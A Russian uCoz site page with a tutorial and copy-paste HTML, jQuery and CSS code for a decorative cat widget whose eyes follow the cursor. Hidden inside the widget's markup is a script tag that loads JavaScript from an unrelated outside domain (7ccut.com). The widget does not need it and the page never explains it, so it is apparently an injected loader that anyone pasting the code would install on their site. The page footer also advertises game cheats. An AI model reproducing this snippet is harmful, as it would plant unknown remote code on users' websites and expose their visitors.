Создать бесплатный сайт с uCoz
Меню
Основ. раздел Доп.раздел
Rip Студия Game Ucoz Всё для Фотошоп
Софт и Программы
Всё для Windows
Всё для CS:S
Музыка онлайн
Картинки
Наши банеры
Мини-чат

Партнёр
Опрос
Как дела?

Всего ответов: 172
Случайный файл
Шаблон для ucoz без картинок
Скачиваний: 174
Просмотров: 459
Добавил: TeGene
Добавлено: 21.01.2011

Главная » 2014 » Январь » 25 » Кот на сайт для uCoz
16:47
Кот на сайт для uCoz
Появление персонажей на сайте – не редкость, особенно популярно украшать сайты кошками, которые следят за перемещением курсора, а некоторые даже пытаются поймать курсор. Был у нас и такой. Этого кота можно установить на любой сайт, сделанном на uCoz. Он будет скромно наблюдать за действиями пользователей на сайте. Когда пользователь наведет курсор на кота, он будет застенчиво улыбаться и смотреть вверх.
Установка

Вставьте в Нижнюю часть сайта или в любой другой глобальный блок:

Код
<div id="cat">
  <div class="cat-paws"></div>
  <div class="cat-itself-wrap">
  <div class="cat-itself">
  <div id="cat-eye-left" class="cat-eye">
  <div class="cat-eyeball"></div>
  </div>
  <div id="cat-eye-right" class="cat-eye">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <div class="cat-eyeball"></div>
  </div>
  </div>
  </div>
  </div>
  </div>
  </div>
<script>
  $(function() {
  var el1 = $('#cat-eye-left'), eyeBall1 = el1.find('div');
  var el2 = $('#cat-eye-right'), eyeBall2 = el2.find('div');
  el1.show();
  el2.show();
  var x1 = el1.offset().left + 37, y1 = el1.offset().top + 15;
  var r = 6, x , y, x2, y2, isEyeProcessed = false;
  $('body').mousemove(function(e) {
  if (!isEyeProcessed) {
  isEyeProcessed = true;
  var x2 = e.pageX, y2 = e.pageY;
   
  y = ((r * (y2 - y1)) / Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1))) + y1;
  x = (((y - y1) * (x2 - x1)) / (y2 - y1)) + x1;
   
  eyeBall1.css({
  marginTop: (y - y1 + 1) + 'px',
  marginLeft: (x - x1) + 'px'
  });
  eyeBall2.css({
  marginTop: (y - y1 - 1) + 'px',
  marginLeft: (x - x1) + 'px'
  });
  isEyeProcessed = false;
  }
  });
   
  $('#cat').mousemove(function(e) {
  e.stopPropagation();
  return false;
  });
   
  });
  </script>


Вставьте следующий код в Таблицу стилей (CSS):

Код
#cat {
  position: fixed;
  right: 80px;
  bottom: 0;
  width: 146px;
  height: 55px;
}
#cat:hover .cat-itself {
  height: 103px;
}
#cat:hover .cat-eye {
  display: none !important;
}
.cat-paws {
  position: absolute;
  right: 0;
  bottom: -4px;
  width: 132px;
  height: 33px;
  z-index: 2;
  background: url(http://pnghosts.ru/img/cat-paws.png) no-repeat right bottom;
}
.cat-itself-wrap {
  position: absolute;
  width: 100%;
  height: 100%;
  z-index: 1;
}
.cat-itself {
  position: absolute;
  left: 0;
  bottom: 0;
  width: 125px;
  height: 55px;
  z-index: 0;
  background: url(http://pnghosts.ru/img/cat-itself.png) no-repeat;
  -webkit-transition: all 0.1s 0.1s ease-out;
  transition: all 0.1s 0.1s ease-out;
}
.cat-eye {
  position: absolute;
  display: none;
  width: 28px;
  height: 28px;
  background: url(http://pnghosts.ru/img/cat-eye.png);
}
.cat-eyeball {
  position: absolute;
  left: 7.5px;
  top: 7.5px;
  width: 13px;
  height: 13px;
  background: url(http://pnghosts.ru/img/cat-eyeball.png);
}
#cat-eye-left {
  left: 25px;
  top: 23px;
}
#cat-eye-right {
  left: 74px;
  top: 26px;
}
Просмотров: 272 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Профиль
Топ файловиков
Друзья и персонал


Свободно
обои для CS 1.6, читы для cs, WH на CS скачать бесплатно ,Сервера для CS, opengl32 dll, карты для cs
Друзья сайта:

Мы в топах:
Партнер №2
Статистика
Этот сайт защищен «Site Guard»
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Всего: 407
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0


klm-gaming.ru |
Полное или частичное использование материалов over-tech только с разрешения администрации
.
Сайт оптимизирован под браузер Opera. Sitemap | Sitemap-forum

Вся информация предоставленная на сайте PlaN.ClaN.Su является собственностью авторов. Любую информацию размещенную на сайте запрещено копировать без размещения ссылки на источник.
Дизайн данного сайта принадлежит полностью администратору сайта. Категорически запрещается копировать и использовать без соглашения главного администратора. За использование дизайна без согласия главного администратора, полагается разбирательство с администрацией хостера (в данном случае системы uCoz) и блокировка аккаунта нарушителя.
Yandex | Google | Rambler | Yahoo | Mail